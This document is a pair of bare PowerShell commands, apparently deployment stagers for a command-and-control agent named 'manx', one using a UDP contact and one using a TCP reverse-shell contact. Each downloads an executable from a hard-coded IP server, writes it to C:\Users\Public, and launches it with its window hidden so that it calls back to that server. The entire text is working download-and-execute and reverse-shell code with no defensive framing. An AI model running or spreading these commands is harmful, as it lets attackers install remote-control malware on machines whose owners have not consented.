psh
Run against the UDP contact

if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};
$server="http://3.111.37.94:8888";
$socket="0.0.0.0:7011";
$contact="udp";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","manx.go");
$data=$wc.DownloadData($url);
$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");
Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;
rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;
([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;
Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact $contact" -WindowStyle hidden;

A reverse-shell agent which communicates via the TCP contact
if ($host.Version.Major -ge 3){$ErrAction= "ignore"}else{$ErrAction= "SilentlyContinue"};
$server="http://3.111.37.94:8888";
$socket="0.0.0.0:7010";
$contact="tcp";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","manx.go");
$data=$wc.DownloadData($url);
$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");
Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;
rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;
([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;
Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact $contact" -WindowStyle hidden;